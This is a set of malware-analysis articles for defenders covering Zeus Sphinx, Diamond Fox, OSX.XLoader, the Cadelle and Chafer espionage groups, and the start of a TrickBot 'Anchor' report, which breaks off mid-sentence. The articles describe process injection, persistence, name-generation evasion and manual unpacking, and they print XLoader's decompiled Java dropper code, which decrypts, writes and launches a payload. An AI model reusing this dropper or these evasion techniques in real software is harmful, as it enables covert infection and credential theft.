The malicious DLL’s entry point is named DllRegisterServer, which is usually an entry point for a COM module. When malware elects to use generic system names for its resources, it is done to blend in with the other benign elements in the operating system (OS).
## Sphinx’s Code Injection Choice: Process Injection
Since its main function is to grab user credentials and other personal information from online banking sessions, Zeus Sphinx is designed with the ability to hook browser functions. Before gaining the ability to hook these types of functions, Sphinx has to ensure its stealthy ongoing operations on the OS. It does this by injecting malicious code into other processes first.
The tactic Sphinx uses is a process injection technique:
1. Sphinx calls on the CreateProcessA function, which creates a new process and its primary thread. The function’s parameters are msiexec.exe for the new process name and the suspend flag applied as the process state. This is another part of the malware’s stealth mechanism, as msiexec.exe usually stands for the name of a legitimate Windows Installer process that is responsible for installation, storage, and removal of programs.
2. It calls the WriteProcessMemory function to inject a payload into the msiexec.exe process.
3. Next, Sphinx changes the execution point of the targeted process to start from the injected payload, using GetThreadContext and SetThreadContext functions. GetThreadContext is used to get the current extended instruction pointer of the remote process. SetThreadContext is used to set the current extended instruction pointer of the remote process.
The extended instruction pointer holds the address of the next instruction.
## Bot Configuration
The bot’s encrypted configuration is embedded within the injected executable in msiexec.exe. What makes it rather easy to decrypt is that both the configuration and its decryption key reside near each other in a hardcoded address location. The following function decrypts the configuration using the hardcoded addresses of each component:
Let’s take a look at the main components of a January 2020 campaign configuration. It began with noting the malware’s variant ID by using Russian language words that translate to “2020 Upgrade” (obnovlenie2020). Next, we see the attacker’s command-and-control (C&C) server domain list. Sphinx does not use a domain generation algorithm (DGA).
These elements can help defenders better protect networks against Sphinx infections by monitoring or blocking any communications to the listed C&C servers. The RC4 key itself is an important element to those looking to analyze the malware since it is the same key that Sphinx uses to encrypt and decrypt most of its data.
Please note that the key inside the configuration is different from the key used to decrypt the configuration itself.
In the following image, we can see an example of two different Sphinx configurations.
Taking into consideration the date they first appeared in the wild, similar C&C domains, and the same RC4 key they contain, we can conclude that both configurations are related to the same campaign. On the left, a configuration fetched by an executable-type payload and on the right, one fetched by a DLL-type payload — both are from a January 2020 campaign.
Sphinx configurations are modified as campaigns are launched, changing the C&C addresses and the RC4 keys. In the following image, we can see a newer configuration fetched from an April 2020 campaign.
Please note the main differences from the January 2020 configurations: a different RC4 key, a smaller and different set of C&C domains, a changed variant ID, and the precise date of publish were added.
## Bot Identification
Once infected by Sphinx, every device sends information home and is defined in the botnet by a bot ID to ensure control and updates through the attacker’s server. To do that, Sphinx uses an algorithm that includes the following elements from the infected device:
- Volume C GUID
- Computer Name
- Windows Version
- Windows Install Date
- Digital Product ID
We can see the generated string when we run Sphinx dynamically as well:
After creating the bot ID, it’s encrypted with an RC4 stream cipher using the key derived from the bot’s configuration and then stored in the Registry with other binary data. For example, a key created for storing this information:
```
HKCU\Software\Microsoft\bmqhcn\gwehhxf
```
The name of the key depends on the variant of the malware and is produced by encoding some constants. Looking at the function’s output before the result is encrypted reveals Sphinx’s bot ID layout:
- [VOLUME_C_GUID] – Bot’s volume C GUID
- [COMPUTER_NAME] – Bot’s computer name
- [2EBFF1F4] – A hash of the operating system version.
- [0ADE2A62] – A hash of InstallDate and DigitalProductID registry values.
Both hashes mentioned above are computed using a Sphinx internal hash function.
## Sphinx’s Naming Algorithms
Malware codes often use a naming algorithm to create different names for files and resources on each infected device. They do this to evade static detection that might search for a certain file name as an indicator of compromise (IoC).
In Sphinx’s case, one naming algorithm is used to create files and resource names and a different one is used to create a unique mutex object name.
### File/Resource Name Generator
Beginning with the algorithm used to create file and resource names, to create what would appear to be random names, Sphinx uses a pseudo-random number generator (PRNG) named MT19937 (also known as the Mersenne Twister). Let’s look at how Zeus Sphinx implements this PRNG to create names for its resources.
The Sphinx naming algorithm function takes four parameters to create its names: maximum length, minimum length, output buffer pointer, and a binary option to upper or not the first character. As shown in the next example, these parameters are hardcoded, which can help write more regular expressions (RegEx) for detecting such names.
Let’s look at the naming_algo function:
- Sphinx starts the process by decoding two hardcoded strings, which amount to 25 of the 26 English language characters:
- Aeiouy
- bcdfghklmnpqrstvwxz
It uses randomization for choosing the output (name) size and loops through additional steps to build it. It randomly selects one of the two initial strings, randomly chooses one character from the selected string, and appends the character to what’s going to eventually compose the generated name. If the name has not yet met the selected length requirement, it loops back and repeats the process.
### Mutex Name Generator
Like other malware, Sphinx generates mutex names upon execution. Mutex names are often searched by security tools and researchers as a way to gather IoCs. Therefore, it can be a better way for malware to hide on infected devices if its mutex name is harder to find. The use of a unique mutex name also helps prevent the malware from infecting the same machine twice.
In Sphinx’s case, the mutex name is always a unique string created per machine, and the algorithm used to create it is relatively complicated. To start, Sphinx uses two system data components for building its mutex names:
- The device’s volume C globally unique identifier (GUID)
- The current user’s security identifier (SID)
To fetch the first value, it uses the Windows function GetVolumeNameForVolumeMountPointW. To fetch the second value, it uses two functions: OpenProcessToken and GetTokenInformation.
Next, to generate a unique name, Sphinx takes the following steps:
1. It creates a hash of the infected device’s SID value that it obtained earlier on.
2. It uses the GUID to encode the SID’s hash.
This function is called seven times, with varying constants being used. Then, some of the names are randomly selected to become mutex names. Technically, there could be seven different mutex names created on each device, which Sphinx checks for to ensure that the device is not already running the malware.
Next, using the key derived from the bot’s configuration, the mutex is encrypted with an RC4 cipher. To make its mutex names blend in with other system elements, it calls on the function ole32!StringFromGUID2, making the names look like GUIDs.
Below is an example of two mutex names created within msiexec.exe:
## Sphinx Is Back in Business
The Sphinx Trojan emerged in 2015, at which point its main focus was banks in North America. Over the years, different operators of this malware launched it into campaigns in other parts of the world, such as the U.K., then Brazil, then Canada and Australia. Most recently, Sphinx was implemented in infection campaigns targeting users in Japan.
While Sphinx has been an on-and-off type of operation over the years, it appears it is now on-again, with version updates and new infection campaigns that are back to targeting North American banks.
While less common in the wild than Trojans like TrickBot, for example, Sphinx’s underlying Zeus DNA has been an undying enabler of online banking fraud. Financial institutions must reckon with its return and spread to new victims amid the current pandemic. |
# Diamond Fox – Part 1: Introduction and Unpacking
Diamond Fox (also known as Gorynch) is a stealer written in Visual Basic that has been present on the black market for several years. Some time ago, builders of its older versions (i.e. 4.2.0.650) were cracked and leaked online – thanks to this we could have a closer view at the full package that is being sold by the authors to other criminals.
In 2016, the malware was almost completely rewritten – its recent version, called “Crystal,” was described some months ago by Dr. Peter Stephenson from SC Media. In this short series of posts, we will take a deep dive into a sample of Diamond Fox delivered by the Nebula Exploit Kit. We will also make a brief comparison with the old, leaked version, in order to show the evolution of this product.
In this first part, we will take a look at Diamond Fox’s behavior in the system, but the main focus will be about unpacking the sample and turning it into a form that can be decompiled by a Visual Basic Decompiler.
## Analyzed Samples
### Behavioral Analysis
After being deployed, Diamond Fox runs silently; however, we can notice some symptoms of its presence in the system. First of all, the UAC (User Account Control) gets disabled, and we can see an alert about it. Another pop-up is asking the user to restart the system so that this change will take effect.
The initial executable is deleted, and the malware re-runs itself from the copy installed in the %TEMP% folder. It drops two copies of itself – dwn.exe and spoolsv.exe. Viewing the process activity under Process Explorer, we can observe the spawned processes. It also deploys wscript.exe.
For persistence, Diamond Fox creates a new folder with a special name: %TEMP%\lpt8.{20D04FE0-3AEA-1069-A2D8-08002B30309D}. Thanks to this trick, the user cannot access the files dropped inside. Another copy (backup) is dropped in the Startup folder.
While running, the malware creates some files with .c extensions in the %APPDATA% folder. Also, new files are created in the folder from which the sample was run. The file keys.c contains an HTML formatted log about the captured user activities, i.e., keystrokes. The files log.c and Off.c are unreadable.
Examining the content of the %TEMP% folder, we can also find that the malware dropped downloaded payload inside. It is a XOR encrypted PE file (key in the analyzed case is: 0x2), that turns out to be an update of the main Diamond Fox bot.
### Network Communication
Diamond Fox communicates with the CnC using an HTTP-based protocol. It beacons to gate.php. Data from the bot is sent to the CnC in the form of a POST request. Pattern: `13e=<encoded content>`. Responses from the CnC have the following pattern: `<number of bytes in content> <content> <error code>`.
We can observe the bot downloading in chunks some encrypted content (probably the payload/bot update). It also periodically uploads the stolen data, such as sending the report about the logged user activities (content of the previously mentioned file keys.c).
## Unpacking
Diamond Fox is distributed packed by various crypters that require different approaches for unpacking. They are not specifically linked with this particular family of malware, which is why this part is not going to be described here. However, if you are interested in seeing the complete process of unpacking the analyzed sample, you can follow the video.
After defeating the first layer of protection, we can see a new PE file. It is wrapped in another protective stub – this time typical for this version of Diamond Fox. The executable has three unnamed sections followed by a section named L!NK. The entry point of the program is atypical – set at the point 0.
It makes loading the application under common debuggers a bit problematic. However, under a disassembler (i.e., PE-bear), we can see where this Entry Point really leads to. The header of the application is interpreted as code and executed. Following the jump leads to the real Entry Point, which is in the second section of the executable.
I changed the executable Entry Point and set it to the jump target (RVA 0xEDB0). The saved application could be loaded in typical debuggers (i.e., OllyDbg) without any issues, to follow the next part of unpacking.
The steps to perform at this level are just like in the case of manual unpacking of UPX. The execution of the packer stub starts by pushing all registers on the stack (instruction PUSHAD). We need to find the point of execution where the registers are restored, because it is usually done when the unpacking of the core finished. For the purpose of finding it, after the PUSHAD instruction is executed, we follow the address of the stack (pointed by ESP). We set a hardware breakpoint on the access to the first DWORD.
We resume the execution. The application will stop on the hardware breakpoint just after the POPAD was executed, restoring the previous state of the registers. This block of code ends with a jump to the unpacked content. We need to follow it in order to see the real core of the application and be able to dump it. Following the jump leads to the Entry Point typical for Visual Basic applications. It is a good symptom because we know that the core of Diamond Fox is a Visual Basic application.
Now we can copy the address of the real Entry Point (in the analyzed case it is 0x4012D4) and dump the unpacked executable for further analysis. I will use Scylla Dumper. Not closing OllyDbg, I attached Scylla to the running process of Diamond Fox (named s_1.exe in my case).
I set as the OEP (Original Entry Point) the found one, then I clicked IAT Autosearch and Get Imports. Scylla found several imports in the unpacked executable. We can view the eventual invalid and suspected imports and remove them – however, in this case, it is not required. We can just dump the executable by pressing the Dump button.
Then, it is very important to recover the found import table by clicking Fix Dump and pointing to the dumped file. As a result, we should get an executable named by Scylla in the following pattern: `<original name>_dump_SCY.exe`. Now, we got the unpacked file that we can load under the debugger again. But, most importantly, we can decompile it by a Visual Basic Decompiler to see all the insights of the code.
## Conclusion
Unpacking Diamond Fox is not difficult, provided we know a few tricks that are typical for this malware family. Fortunately, the resulting code is no further obfuscated. The authors left some open strings that make the functionality of particular blocks of code easy to guess. In the next post, we will have a walk through the decompiled code and see the features provided by the latest version of Diamond Fox.
This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going into details about malware and sharing threat information with the community. |
# OSX.XLoader Hides Little Except Its Main Purpose: What We Learned in the Installation Process
**Thomas Reed**
**July 26, 2021**
Last week, Check Point Research described a new Mac variant of malware they call XLoader. It was identified as being the successor of something called Formbook, a very prevalent threat in the Windows world. According to Check Point, the Mac version of the malware is being “rented” as part of a malware-as-a-service program, at the price of $49 for one month or $99 for three months.
Unfortunately, Check Point was a bit vague on the details of how the Mac version behaves, leaving folks unsure of exactly how to protect themselves against this malware. Fortunately, more details have since come to light.
## How XLoader Gets Installed
XLoader appears to be distributed within a .jar – or Java archive – file. Such a file contains code that can be executed by Java, dropping the malware on the system. One major advantage, for the attacker, of using Java is that the “dropper” (the file responsible for installing the malware) can be cross-platform. However, this file format has a very significant disadvantage for the attacker, which is that macOS does not, by default, include Java, and has not for quite some time. Back around 2011 to 2012, there was a flood of multiple different pieces of malware designed to infect Macs via vulnerabilities in Java, which at the time was installed on every Mac out of the box. This meant that all Macs were vulnerable, and to make matters worse, despite updates from Oracle (Java’s owner), more vulnerabilities kept being found and exploited.
Apple responded by ripping Java out of the system. Since then, the only way Java can be on a system is if the user has installed it, which most users won’t. This means that Java is no longer a very useful means of attack on modern macOS systems.
There can be a couple reasons why a JAR file might be used on macOS. One is unfamiliarity with modern macOS, from a malware developer who has Java on their system but doesn’t understand this is non-standard for some reason. This is something often seen with more amateurish malware, and there are definitely some indications of that with this malware. However, another reason is that the malware is targeted at specific individuals who are known to have Java installed. These could be Java developers, for example, at a particular company, or perhaps employees at a company that uses Java-based tools. A source at ESET reported that they had detected this malware back in January, with the JAR file being distributed via email. This points to a targeted campaign.
## The Installation Process
The dropper – named Statement SKBMT 09818.jar in this case – would need to be opened by the user. The good news is that, if it was downloaded from an email client or browser that uses modern file system code, it will be marked with a “quarantine” flag. This means that the Gatekeeper feature of macOS will not allow it to execute by default.
There are ways that Mac users can bypass this and open the file anyway, but not without seeing a similar warning first. Still, a significant amount of Mac malware droppers in the last year or so have been unsigned, and have given users instructions on what to expect and how to open the file. In such cases, users can and do bypass these warnings and open the malicious installers successfully.
In the event that the user downloads the JAR file using an email client that does not use the right file system code, and thus does not set a quarantine flag, the file will immediately open when double-clicked, without any complaints. The same will also be true if the file is copied onto a non-Mac drive before being opened, such as a Windows network share, where the quarantine flag will be lost.
Once opened, the JAR file will infect the system, and strangely, will also open a .ico (icon) file containing a Microsoft Word icon image. It’s unknown why this is done. It’s not uncommon for malware to open a “decoy document.” In such cases, when the malware pretends to be a document (as in this case, where the malware is pretending to be a statement of some kind), it will then open a document for the user to look at, to assuage suspicions the user would have if no document ever opened, while it’s doing bad stuff behind the scenes.
Is this a really badly botched attempt to open a decoy document? Or is it possible that this wasn’t meant as a public release, and the file being opened is a placeholder? Either would be a reasonable explanation, but we don’t know which is true.
While the user is looking in confusion at this wonderful icon, the JAR code will install the malware in the background. On my test machine, the malware installed the following items:
- `~/._p1pxXl0Fz4/I8ppUnip.app`
- `~/kIbwf02l`
- `~/NVFFY.ico`
- `~/LaunchAgents/com._p1pxXl0Fz4.I8ppUnip.plist`
The launch agent .plist file is used to load the app from the hidden folder `._p1pxXl0Fz4` found in the user folder. The `kIbwf02l` file is an exact copy of the Mac mach-o executable file found inside the app, but it’s unclear why this is left there, as it isn’t actually used. It’s a suspiciously-named file that will be visible to the user and thus may raise suspicions, so its presence is odd. The `NVFFY.ico` file is the Microsoft Word icon file opened by the malware as a “decoy.”
## A Closer Look at the Java Code
Extracting the Java code from the JAR file was a painless task, and the code is not obfuscated in any way. The code is quite simple, but is able to drop a payload on either Windows or Mac. If you’re not interested in looking at code, feel free to skip ahead.
The filenames are hard-coded in the JAR file, as seen here.
```java
private static String get_crypted_filename(final int pt) {
final String exe_ = "fI4sWHkeeeee";
final String mach_o = "kIbwf02ldddd";
final String display = "NVFFYfffffff";
}
```
It’s a bit of a stretch to call these filenames “encrypted,” as the only thing that has been done to them is that a specific letter has been added to the end, repeating a varying number of times. (What letter is used depends on the string in question, and is also hard-coded.) These characters are stripped off to get the filenames, resulting in the mach-o filename of `kIbwf02l` and the “display” document filename of `NVFFY`.
The malware has quite simple code for determining the system it’s running on:
```java
public static int _GetOS() {
final String OS = System.getProperty("os.name").toLowerCase();
if (OS.contains("mac")) {
return 1;
}
if (OS.contains("win")) {
return 2;
}
return 0;
}
```
From there, the malware reads encrypted data from within the JAR file and writes it out to the desired location on the system (in this case, the `kIbwf02l` file).
```java
private byte[] getFileFromResource(final String name) throws Exception {
try (final InputStream in = this.getClass().getResourceAsStream("/resources/" + name)) {
final byte[] data = new byte[16384];
final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
int nRead;
while ((nRead = in.read(data, 0, data.length)) != -1) {
buffer.write(data, 0, nRead);
}
return buffer.toByteArray();
}
}
```
From there, the malware launches the malicious process and opens the decoy document (aka “displayFile”).
```java
if (osFile != null && osFile.length != 0) {
final String absolutePath = userPath + osFilename + ((os == 1) ? "" : ".exe");
stubClass.writeBufferToFile(decrpt_data(osFile), absolutePath);
if (os == 1) {
final File file = new File(absolutePath);
final Set<PosixFilePermission> perms = new HashSet<PosixFilePermission>();
perms.add(PosixFilePermission.OWNER_READ);
perms.add(PosixFilePermission.OWNER_WRITE);
perms.add(PosixFilePermission.OWNER_EXECUTE);
Files.setPosixFilePermissions(file.toPath(), perms);
}
processBuilder.command(absolutePath);
processBuilder.start();
}
final byte[] displayFile = stubClass.getFileFromResource(displayFilename);
if (displayFile != null && displayFile.length != 0) {
final String absolutePath2 = userPath + displayFilename + getDisplayExt();
stubClass.writeBufferToFile(decrpt_data(displayFile), absolutePath2);
final File f = new File(absolutePath2);
Desktop.getDesktop().open(f);
}
```
## The Malicious Application
The malicious Mac application, dropped and executed by the JAR file, is heavily obfuscated, making it hard to learn more about what it does. According to analysis done by SentinelOne, one of the app’s main goals appears to be harvesting credentials.
The app itself is not code signed in any way. However, since it was created by the JAR and not downloaded from anywhere, it can be executed without Gatekeeper examining it or asking for user consent to run it. The launch agent .plist file is used to ensure the app is launched at startup, but explicitly does not try to keep the process alive. This means that if anything terminates the malicious process, it will not re-open until the next reboot.
The app itself has been marked as an LSUIElement, which is done to prevent its icon from showing on the Dock whenever it is running. This is a feature intended to be used by apps responsible for managing some user interface element – such as a menu bar icon – but that do not have a user interface of their own and thus can’t be interacted with directly. This prevents the Dock from being littered with these kinds of apps, but is a common technique used to prevent malicious apps from appearing in the Dock.
## TL;DR
To sum up, this malware is likely to be used for targeted attacks against intended victims who are known to have Java installed. Attackers may also have knowledge that something in the victims’ environment will enable users to easily open a JAR file without being blocked by Gatekeeper.
The dropper itself is completely unsophisticated, with barely an attempt to hide anything, while the mach-o executable used in the malicious application installed on the system is quite well protected against prying eyes. This may be an indication that the two components of the malware were developed by different individuals.
This malware will be detected by Malwarebytes for Mac as OSX.XLoader. However, as of yet, data shows that Malwarebytes has not detected a single instance of this malware in the wild. |
# Iran-based Attackers Use Back Door Threats to Spy on Middle Eastern Targets
Two Iran-based attack groups that appear to be connected, Cadelle and Chafer, have been using Backdoor.Cadelspy and Backdoor.Remexi to spy on Iranian individuals and Middle Eastern organizations.
By: Symantec Security Response
Created: 07 Dec 2015
Two teams of Iran-based attackers have been using back door threats to conduct targeted surveillance of domestic and international targets. While the groups are heavily targeting individuals located in Iran, they’ve also compromised airlines and telecom providers in the Middle East region, possibly in an attempt to monitor targets’ movements and communications.
The attackers are part of two separate groups that have a shared interest in targets. One group, which we call Cadelle, uses Backdoor.Cadelspy, while the other, which we’ve named Chafer, uses Backdoor.Remexi and Backdoor.Remexi.B. These threats are capable of opening a back door and stealing information from victims’ computers.
## The Cadelle and Chafer Groups
Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014; however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.
The back door threats that the groups use appear to be custom made. It’s unclear how Cadelle infects its targets with Backdoor.Cadelspy. However, Chafer has been observed compromising web servers, likely through SQL injection attacks, to drop Backdoor.Remexi onto victims’ computers. Chafer then uses Remexi to gather user names and passwords to help it spread further across the network.
There is evidence to suggest that the two teams may be connected in some way, though we cannot confirm this. A number of computers experienced both Cadelspy and Remexi infections within a small time window. In one instance, a computer was compromised with Backdoor.Cadelspy just minutes after being infected with Backdoor.Remexi. The Cadelle and Chafer groups also keep the same working hours and focus on similar targets. However, no sharing of C&C infrastructure between the teams has been observed.
If Cadelle and Chafer are not directly linked, then they may be separately working for a single entity. Their victim profile may be of interest to a nation state.
## The Victims
Data from Cadelle’s C&C servers shows that a large number of Backdoor.Cadelspy infections affected individual users of Iranian internet service providers (ISPs) and hosting services. This suggests that the majority of victims are based in Iran. There was also a significant amount of individual targets that used anonymous proxy services to go online. Reports have shown that many Iranians avail of these services to access sites that are blocked by the government’s internet censorship measures. Dissidents, activists, and researchers in the region may use these proxies in an attempt to keep their online activities private.
In terms of targeted organizations, both Cadelle and Chafer seem to be interested in a similar category of organizations, such as airlines and telecom companies. The affected organizations we were able to identify are mostly based in the Middle East region in countries such as Saudi Arabia and Afghanistan, while one organization is located in the US.
Our telemetry shows that among more than a dozen entities that experienced Cadelspy and Remexi infections, four of them were compromised with both of the threats at some stages. In most instances, victim computers were infected with either Backdoor.Cadelspy or Backdoor.Remexi, not both. Less than five percent of computers were infected with both malware families. In one affected organization, there was intermittent activity between the threats over ten months. A combined total of 60 computers were compromised in another organization for almost a year.
The malware’s activity on victim computers appears to depend on the targets. One computer that was infected with both Cadelspy and Remexi was a system that ran a SIM card editing application. Other compromised computers included those belonging to web developers or file and database servers.
The nature of the victims suggests that Cadelle and Chafer are primarily interested in tracking individuals in terms of their movements and communications. Compromising regional telcos and airlines can help the attackers achieve this aim.
## Based in Iran?
There are a number of factors in these groups’ campaigns that suggest that the attackers may be based in Iran. Cadelle and Chafer are most active during the daytime within Iran’s time zone and primarily operate during Iran’s business week (Saturday through Thursday).
Additionally, Symantec observed that Backdoor.Cadelspy’s file strings seem to include dates written in the Solar Hijri calendar, which is used in Iran and Afghanistan. While the Gregorian calendar marks the current year as 2015, the Solar Hijri calendar states that it is 1394. When we converted the dates in the file strings from the Solar Hijri calendar to the Gregorian one, we found that they were close to the compilation times of the executables and also close to when Cadelle’s targets were initially compromised.
Based on our analysis, we believe that Cadelle and Chafer’s victims are most likely to be of interest to an Iranian entity. Cadelle and Chafer are by no means the first Iran-based attack group to appear. Other groups attributed to Iranian attackers, such as Rocket Kitten, have targeted Iranian individuals in the past, including anonymous proxy users, researchers, journalists, and dissidents. Backdoor.Remexi activity in particular is reminiscent of Operation Cleaver and may possibly be a continuation of that activity.
## Cadelle and Chafer’s Malware
The groups use one malware family each to open a back door and steal information from the compromised computer. Cadelle uses Backdoor.Cadelspy while Chafer operates with Backdoor.Remexi and Backdoor.Remexi.B. Cadelspy initially arrives on the computer as a dropper, which downloads two installer components catering to whether the victim is running a 32-bit or 64-bit system. The dropper then executes the appropriate installer, which launches Cadelspy’s malicious payload and allows it to run whenever any Windows program is executed.
Cadelspy’s main payload contains its back door functionality, allowing the threat to carry out the following activities:
- Log keystrokes and the titles of open windows
- Gather clipboard data and system information
- Steal printer information and any documents that were sent to be printed
- Record audio
- Capture screenshots and webcam photos
Cadelspy compresses all of the stolen data into a .cab file and uploads it to the attacker’s C&C servers. The threat is also able to update its configuration file to gain additional features. Meanwhile, Chafer’s threat Remexi contains fewer features than Cadelle’s Cadelspy does. Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands. Though this is unsophisticated, a remote shell does provide a highly flexible and powerful means of remote access in the hands of a skilled attacker.
## Mitigation
Cadelle and Chafer’s activities show that attack groups don’t need advanced skills to conduct effective targeted espionage against victims. The two groups’ threats have managed to remain on their targets’ computers for almost a year, potentially giving the attackers access to an enormous amount of sensitive information. They’re also aware that they don’t only have to directly attack the individuals, as they can get to their victims by compromising the services that they use, such as airlines and telcos.
Both Cadelle and Chafer are still active today and we don’t expect to see them end their activities any time soon. Individuals and organizations wishing to avoid being compromised by these teams should adhere to the following advice:
- Ensure that software on computers and servers is being regularly updated to prevent known vulnerabilities from being exploited.
- Treat unsolicited emails with suspicion. Targeted attacks frequently distribute malware through malicious links and attachments in emails.
- Keep security software up-to-date with the latest definitions.
## Protection
Norton Security, Symantec Endpoint Protection, and other Symantec security products protect users against these threats through the following detections:
**AV**
- Backdoor.Cadelspy
- Backdoor.Remexi
- Backdoor.Remexi.B
**IPS**
- System Infected: Backdoor.Cadelspy Activity 2
- System Infected: Backdoor.Remexi Activity
## Indicators of Compromise
We have also compiled an indicators-of-compromise document containing further details which can be used to help identify the threats if they are present in your environment. |
# The Deadly Planeswalker: How The TrickBot Group United High-Tech Crimeware & APT
**Research by:** Vitali Kremez, Joshua Platt, and Jason Reaves
When we talk about cybercrime, we often portray a hidden, hazardous realm, which is radically different from the one that we live in. In fact, hackers and their cybercrime enterprises exist in the same world as ours and undergo the same social and economic transformations as those which shape our reality.
When cybercrime emerged, it followed the rules of the late industrial age. Despite their fin de siècle flair of harbingers of the radically novel era, cybercriminal communities relied on standard, if not mundane operational rules of classic enterprises — separation of functions, division of labor, focused specialization. In other words, underground malware engineers who developed information stealers most likely never had a chance or intent to talk to hackers who developed ransomware; hacktivists did not collaborate with cyber fraudsters or carders, while for-profit criminals and nation-state advanced persistent threat (APT) operatives preferred to maintain a clear separation line.
Everything changed with time. Unlike its predecessor which valued separation and operational boundaries, the 21st century manifested interconnectivity as its essential trait. Facebook, Google, Uber, all succeeded because they were able to unite the previously “ununitable.” This strive to merge domains and cross borders became a rule for success, a natural destination of evolution. Like other humans, cybercriminals felt the zeitgeist — they evolved accordingly. However, only one group was able to crown this evolution — the elite “TrickBot” group.
This story begins in the year in which the century clearly demonstrated its rapidly changing nature. 2013 — the call for radical social change shakes the Middle East and Europe alike; the Pope announces his renunciation for the first time in 700 years; the Voyager 1 exits the Solar System and reaches the interstellar medium. The transformations of cybercrime were no less fundamental. Banking malware — designed to steal financial information — was rapidly acquiring new functions and traits consummating with the success of GameOver Zeus, also known as “Peer-to-Peer Zeus,” a cybercrime group that became known as “Business Club.”
The developers of this crimeware employed an alternative approach to their botnet — offering it as a service for other threat actors. The GameOver Zeus service also pioneered the deployment of ransomware such as the prolific “Cryptolocker,” responsible for millions in losses and affecting victims worldwide. Overall, GameOver Zeus was a major success in introducing a profoundly new model — cybercrime-as-a-service (CaaS). This model was based on automation, customization, and a client-oriented approach and perfectly fit the demand of the expanding postindustrial private market. The Business Club model was operated by the most wanted cybercriminal, a Russian national Evgeniy Mihailovich Bogachev, or simply known as “Slavik” amongst the club members.
It was only a matter of time when other groups would incorporate GameOver Zeus’s innovative modeling. In 2014, two cybercrime teams and former customers and members of “Business Club” formed separate crimeware models known as “Dridex” and “Dyre.” Both Dridex and Dyre made headlines by advancing the CaaS model and supplying various types of cybercriminals with their botnet solutions.
In the meantime, Dridex and their operators, also known as “Evil Corp,” continued to successfully experiment with targeted highly impactful bank fraud and ransomware operations, including working with targeted ransomware variants such as “BitPaymer” and “DoppelPaymer,” responsible for multiple worldwide ransomware disruptions including the PEMEX intrusion. In December 2019, the Dridex botnet operators were charged and indicted by international law enforcement, sanctioning the leader Makism Yakubets, known as “aqua,” and its administrator Igor Turashev, known as “nintutu,” for their involvement in another massive more than $100 million bank fraud and ransomware operations. Notably, Yakubetz was alleged to have close involvement with the Russian government and the FSB operations acquiring confidential documents through cyber-enabled means and cyber-enabled operations on its behalf.
In 2016, Dyre operators were alleged to be arrested in Moscow, Russia; however, their work and ideas accumulated in the tool — TrickBot. TrickBot engineers designed the bot in such a way to plug into the Dyre backend systems seamlessly while preserving independence from the Dyre components.
## TrickBot Race to Perfection: The Aesthetics of Blurred Lines
TrickBot was developed in 2016 as banking malware. However, since then it has developed into something essentially different — a flexible, universal, module-based crimeware solution. TrickBot has evolved to specifically attack corporations. The three pillars of TrickBot’s success were ironically the buzzwords of the post-industrial revolution — automation, decentralization, and integration.
Early reports on TrickBot appeared in Fall 2016. By November 2016, the malware was already tested and functional. TrickBot developers began to add new functions to cross borders — first, literal borders. Initially targeting Australian banks, by November 2016 TrickBot had included New Zealand, British, German, and Canadian banks into its victim list. In July 2017, TrickBot was equipped with advanced automation — another crucial trait that characterized this malware. TrickBot was now capable of worm-like spreading within the network after the initial infection.
Then the expansion of functions followed. In October 2017, the crimeware group gathered data from mail clients and scraped web history in search of personal identifiers. Later, new password grabber modules turned TrickBot into a fully-fledged stealing tool that was able to browse Google Chrome, Mozilla Firefox, Microsoft Edge, and other applications containing passwords and credentials.
As a result, by 2018, the TrickBot group was swamped by a humongous data flow from infected machines. The group faced “big data” problems which required them to engineer a custom solution dealing with commercial size data flows and essentially design a “data lake” service to process it. The group faced a paradox in which its technological efficiency was not matched by the capabilities to process and monetize the information stolen. It was at this moment when the organizational and strategic talent of the operators, and possibly the experience of Dyre came into play.
Instead of harvesting and storing the compromised information as raw material, TrickBot decided to process and index it and offer access to it as a service. For instance, the spying capability was redesigned with a new feature with which TrickBot gathered and transferred network and domain controller victim information. With this function, TrickBot could provide other groups with critical security information which was then used to prioritize victims. In other words, a TrickBot customer knew who was the least protected prey in the lists. In other instances, breaches and botnet data were indexed through the backend to track high-value targets. In this sense, the group weaponized these infections for potent, targeted ransomware, or as they called it a “cryptolocker,” which became known as “Ryuk” ransomware affecting and crippling industries worldwide across multiple market segments, including healthcare and aviation industries. The criminal groups used specific digital identifiers obtained via TrickBot to spot the most lucrative industry targets for their ransomware campaigns.
Moreover, the group decentralized if not “Uberized” its operations and started to massively sublet its technical solutions to affiliate groups. TrickBot products have often used a combination with other malware including highly infective Emotet, IcedID/BokBot, and Gozi ISFB v2.
The flexibility was achieved through active use of modules. The modular structure allowed TrickBot to efficiently operate in different environments which were previously separated. TrickBot and its modules acted in the following major ways:
- A perfect information stealer grabbing personal information, which was then sold on the underground and used privately.
- A banker, stealing corporate data which monetized through account takeover and card fraud.
- A distributor, delivering ransomware.
- A cryptominer.
By 2019, automation, decentralization, and integration enabled TrickBot to introduce a game-changing model. Their domain controller harvester enabled automatic network information collection and automated lateral movement within networks, not even mentioning the completely automated process of credential harvesting. The ability to integrate different cybercrime segments allowed for sophisticated bank fraud operations for money laundering, engaging in ransomware and tax fraud. Decentralization created a flexible business model, where TrickBot offered attack tools to vetted vendors and used the tools of others to increase infectivity.
In blurring the lines between breaches, data theft, ransomware, and cyber fraud, the group has almost reached the pinnacle, and almost united the cybercrime territories. However, there was one final challenge separating TrickBot from perfection — the APTs.
## The “Anchor” Mystery
Advanced Persistent Threat is a type of cybercrime which is most often associated with nation-state actors. While the attribution is often a subject of political accusations and social discussion, the APT groups are indeed extremely sophisticated and are characterized by an ultimate focus on espionage. This defines the persistence in their operations — to accomplish their mission targets, APT teams need to secretly remain in the system, navigate and observe. APTs saw their heyday in 2016 and 2017 when professional intrusion teams performed massive operations against top banks and attacks against the SWIFT payment system.
The modus operandi of APT has targeted attacks on extremely secure networks, remaining persistent and undetected for long periods, and espionage separates them from crimeware and TrickBot which are generally deployed merely for monetary gain. This is why it was highly unlikely that TrickBot would attempt to integrate APTs into their operations. Until a new TrickBot derivative project called “Anchor” was discovered.
While investigating the Anchor project, we observed a framework of tools that allows the actors — potential TrickBot customers — to leverage this framework against higher-profile victims. Some of the pieces we have found for this framework can be seen below in the form of PDB paths. Anchor consists of several segments each with a specific function:
